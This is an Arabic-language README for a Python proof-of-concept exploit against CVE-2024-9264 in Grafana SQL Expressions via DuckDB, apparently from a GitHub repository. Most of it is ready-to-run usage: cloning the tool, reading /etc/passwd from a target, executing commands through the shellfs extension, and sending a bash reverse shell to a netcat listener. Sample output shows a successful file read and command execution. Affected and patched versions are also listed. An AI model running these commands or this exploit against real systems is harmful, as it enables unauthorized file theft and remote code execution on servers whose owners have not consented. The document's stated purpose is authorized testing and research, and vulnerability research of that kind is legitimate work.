
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
إثبات مفهوم مكتوب بلغة Python لثغرة CVE-2024-9264، وهي ثغرة في Grafana SQL Expressions يمكن أن تسمح للمستخدمين المصادق عليهم بتضمين ملفات محليًا وتنفيذ أوامر عندما يكون duckdb متاحًا في PATH الخاص بعملية Grafana.
للاستخدام المصرح به في الاختبارات والأبحاث فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob(). وإذا كان تنفيذ الأوامر مطلوبًا، يُستخدم /etc/passwd أولاً كملف تحقق افتراضي.shellfs من DuckDB وينفّذ أمرًا عبر استدعاء read_csv() مدعوم بأنبوب./tmp/cve_2024_9264_out ويطبع النتيجة المفكوك ترميزها.يمكن استدعاء نقطة النهاية المستضعفة مباشرةً عبر API؛ ولا يلزم أي تفاعل مع واجهة لوحة المعلومات (dashboard). ومع ذلك، لا تزال المصادقة مطلوبة.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
عند استخدام --file بمفرده، يقرأ البرنامج النصي ذلك الملف مباشرةً ويطبع المحتوى المفكوك ترميزه في قسم نتيجة قراءة الملف.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
ينفذ البرنامج النصي أولاً تحققًا افتراضيًا بقراءة ملف /etc/passwd، ثم يرسل حمولة الأمر. وفي قسم النتيجة يطبع مخرجات الأمر المفكوك ترميزها بدلاً من استجابة Grafana JSON الخام.
شغّل مستمعًا:
rlwrap nc -lvnp 4444
أرسل حمولة الصدفة العكسية:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
تعتمد هذه الخيارات على واجهة سطر الأوامر الحالية للبرنامج النصي:
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| المنتج | الإصدار المتأثر | الصلاحية المطلوبة | التأثير |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x و11.1.x و11.2.x قبل الإصدارات الأمنية المصححة | Viewer أو أعلى | تضمين ملفات محلي وحقن أوامر عند وجود DuckDB في PATH الخاص بـ Grafana |
تشير Grafana إلى أن استغلال الثغرة يتطلب وجود ثنائي duckdb في PATH الخاص بعملية Grafana؛ ولا تقوم توزيعات Grafana العادية بتثبيت DuckDB افتراضيًا.
shellfs في البيئة الهدف.-k أو --insecure.11.0.5+security-01 و11.1.6+security-01 و11.2.1+security-01 و11.0.6+security-01 و11.1.7+security-01 و11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev